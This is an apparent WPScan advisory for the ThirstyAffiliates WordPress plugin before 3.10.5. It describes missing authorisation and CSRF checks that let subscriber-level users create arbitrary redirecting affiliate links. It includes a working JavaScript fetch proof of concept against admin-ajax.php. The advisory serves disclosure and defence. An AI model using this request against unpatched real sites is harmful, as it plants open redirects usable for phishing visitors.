WordPress Plugin Vulnerabilities
ThirstyAffiliates Affiliate Link Manager < 3.10.5 - Subscriber+ Arbitrary Affiliate Links Creation
Description
The plugin does not have authorisation and CSRF checks when creating affiliate links, which could allow any authenticated user, such as subscriber to create arbitrary affiliate links, which could then be used to redirect users to an arbitrary website
Proof of Concept
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "action=ta_process_quick_add_affiliate_link&ta_link_name=test&ta_destination_url=https://wpscan.com/&ta_redirect_type=301",
"method": "POST",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
Affects Plugins
Fixed in 3.10.5 References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-31 (about 2 years ago)
Added
2022-03-31 (about 2 years ago)
Last Updated
2022-04-10 (about 2 years ago)
WPScan 